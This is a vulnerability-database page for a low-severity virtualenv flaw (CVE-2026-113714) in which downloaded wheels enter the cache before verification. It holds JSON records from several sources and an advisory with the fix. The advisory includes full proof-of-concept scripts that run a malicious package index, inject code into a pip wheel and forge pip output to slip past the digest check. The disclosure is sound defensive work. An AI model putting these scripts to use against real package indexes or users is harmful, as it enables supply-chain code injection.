Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-113714 (GCVE-0-2026-113714)
Vulnerability from cvelistv5 – Published: 2026-10-20 19:09 – Updated: 2026-10-27 10:59- CWE-354 - Improper Validation of Integrity Check Value
| URL | Tags |
|---|---|
| https://github.com/pypa/virtualenv/security/advis… | x_refsource_CONFIRM |
| https://github.com/pypa/virtualenv/pull/3430 | x_refsource_MISC |
| https://github.com/pypa/virtualenv/commit/7babec6… | x_refsource_MISC |
| https://github.com/pypa/virtualenv/releases/tag/21.14.9 | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| pypa | virtualenv |
Affected:
< 21.14.9
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-113714",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T10:59:09.539005Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-27T10:59:22.031Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip\u0027s textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link\u0027s data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-354",
"description": "CWE-354: Improper Validation of Integrity Check Value",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T19:19:51.080Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"name": "https://github.com/pypa/virtualenv/pull/3430",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"name": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"source": {
"advisory": "GHSA-494p-63j8-28p3",
"discovery": "UNKNOWN"
},
"title": "virtualenv: Downloaded wheel selection and caching precede verification"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-113714",
"datePublished": "2026-10-20T19:09:45.096Z",
"dateReserved": "2026-10-20T16:03:14.862Z",
"dateUpdated": "2026-10-27T10:59:22.031Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-113714",
"date": "2026-10-30",
"epss": "0.00249",
"percentile": "0.16332"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip\u0027s textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link\u0027s data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9."
}
],
"id": "CVE-2026-113714",
"lastModified": "2026-10-27T11:17:28.133",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 2.3,
"baseSeverity": "LOW",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-113714",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T10:59:09.539005Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-20T19:17:34.050",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-354"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-10-30T06:53:19+00:00",
"cve": "CVE-2026-113714",
"id": "CVE-2026-113714",
"initial_release_date": "2026-10-20T19:09:45.096000+00:00",
"product_status:known_affected": "26",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "virtualenv: virtualenv: Unverified package installation via premature cache storage",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-113714.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-113714",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T10:59:09.539005Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-27T10:59:18.341Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip\u0027s textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link\u0027s data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.3,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-354",
"description": "CWE-354: Improper Validation of Integrity Check Value",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T19:19:51.080Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"name": "https://github.com/pypa/virtualenv/pull/3430",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"name": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"source": {
"advisory": "GHSA-494p-63j8-28p3",
"discovery": "UNKNOWN"
},
"title": "virtualenv: Downloaded wheel selection and caching precede verification"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-113714",
"datePublished": "2026-10-20T19:09:45.096Z",
"dateReserved": "2026-10-20T16:03:14.862Z",
"dateUpdated": "2026-10-27T10:59:22.031Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
bit-virtualenv-2026-113714
Vulnerability from bitnami_vulndb
virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip's textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link's data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9.
{
"affected": [
{
"package": {
"ecosystem": "Bitnami",
"name": "virtualenv",
"purl": "pkg:bitnami/virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.14.9"
}
],
"type": "SEMVER"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
],
"aliases": [
"CVE-2026-113714"
],
"database_specific": {
"cpes": [
"cpe:2.3:a:virtualenv:virtualenv:*:*:*:*:*:*:*:*"
],
"severity": "Low"
},
"details": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip\u0027s textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link\u0027s data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9.",
"id": "BIT-virtualenv-2026-113714",
"modified": "2026-10-29T09:16:42.832Z",
"published": "2026-10-29T09:00:28.041Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
}
],
"schema_version": "1.6.2",
"summary": "virtualenv: Downloaded wheel selection and caching precede verification"
}
BREW-HATCH-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:41 – Updated: 2026-10-29 22:13 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.15.1",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "hatch",
"purl": "pkg:brew/hatch"
},
"ranges": [
{
"events": [
{
"introduced": "1.18.1_1"
},
{
"fixed": "1.18.1_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.15.1",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.15.1"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled 